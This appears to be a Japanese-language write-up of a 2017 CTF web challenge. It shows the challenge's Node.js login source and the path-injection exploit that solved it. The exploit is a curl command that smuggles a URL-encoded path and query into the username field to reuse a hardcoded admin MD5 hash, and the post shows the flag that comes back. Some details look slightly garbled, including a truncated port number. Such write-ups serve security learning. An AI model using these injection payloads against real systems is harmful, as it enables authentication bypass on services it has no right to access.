SecurityFest CTF 2017 [Web 200] Freddy vs json
SecurityFest CTF 2017 に チームHarekaze で参加しました。 チームの総得点は1660点で自分はそのうちの250点解きました。
Freddy vs json
ページを開くとよくあるログインフォームにメールアドレスとパスワードの入力欄があります。
適当に埋めて送信すると
Invalid username or password!
と怒られます。
Exploit
http://52.208.132.198:2999/index.jsを見るとページのソースコードを見ることが出来ます。
ちなみにこれはエスパーして発見しました。(一応ヒント(?)として/static/index.jsがheadでインポートされていることはわかるが……)
ソースコードを見ると
if(req.body.user && req.body.pass){
user = req.body.user;
pass = crypto.createHash('md5').update(req.body.pass).digest("hex");
//Query internal login service
request("http://127.0.0.1:3001/createTicket/"+user+"/"+pass, function(error, response, body){
console.log(body);
という部分があり、これによりログイン判定をしていることがわかります。
またソースコードのはじめに
require('./local');
local.jsを読み込んでいる記述があるのでそれも見てみます。
以下の記述より、ポート3001で待ち受けているローカルサーバーの処理が書かれていることがわかります。
localapp.listen(3001, '127.0.0.1', function () {
console.log('JWT service up!')
});
さらに
db = [
{"user":"admin","pass":"9c72256fdb7196d2563a38b84f431491","id":"1"}
];
…
…
function verify(user, pass){
db_user = db[0]; //TODO: sync with LDAP instead
if(user && user == db_user["user"]){
if(pass && pass == db_user["pass"]){
return db_user["id"];
}
}
return 0;
}
localapp.get('/createTicket/:user/:pass', function (req, res) {
user = req.params.user;
pass = req.params.pass;
userid = verify(user, pass);
if(userid){
res.send('{"authenticated":true, "user":"'+user+'", "id":'+userid+'}');
}else{
res.send('{"authenticated":false, "user":"'+user+'", "id":'+userid+'}');
}
})
とあることから、curl -v -d 'user=admin%2f9c72256fdb7196d2563a38b84f431491%3fa%3d&pass=a' 52.208.132.198:299
と送ることでサーバー上ではhttp://127.0.0.1:3001/createTicket/admin/2f9c72256fdb7196d2563a38b84f431491?a=a/というリクエストが送信され
ログインに成功しflagが手に入ります。
(ログイン時に判定されるpassはmd5ハッシュ化されたものであることに気づけばいい。)
{"authenticated":true,"user":"admin","id":1,"response":"Congratulations: SCTF{1nj3ction_5chm1nj3ctioN}"}
flag SCTF{1nj3ction_5chm1nj3ctioN}